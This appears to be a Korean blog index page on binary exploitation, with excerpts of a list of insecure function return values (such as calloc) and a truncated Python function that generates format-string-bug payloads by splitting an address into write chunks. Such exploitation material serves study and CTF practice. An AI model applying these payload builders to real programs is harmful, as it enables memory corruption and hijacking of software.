Binary Exploitation/Other(2)
-
[바이너리 익스플로잇] Insecure Return Value List : 안전하지 않은 반환 값 목록
Func(arg1,?....) arg1 = Input : Return Value calloc(arg1,arg2) arg1 = -1 : 0 arg1 = 0xa000 : 라이브러리 내 주소
2022.02.09 -
[바이너리 익스플로잇] Format-String-Bug 페이로드 생성 함수 : FSB Payload Generator Fcuntion
def gen_fsb_payload(addr, addr2, N): a1 = str(hex(addr)) a1 = a1[2:len(a1)] a3 = int(a1[:4],16) a2 = int(a1[4:len(a1)-4],16) a1 = int(a1[8:len(a1)],16) print(f'{hex(a1)}\n{hex(a2)}\n{hex(a3)}\n') def create_payload(A, B, fs): rs_len = len(str(A))+ 5 + len(fs) rs = f'%{A}d%XX${fs}' + 'P' * (8 - rs_len % 8) fn = str(N+(len(rs)//8)) rs = rs.replace('XX',fn) if int(fn) > 9 : rs = rs + 'P' return rs...
2022.02.04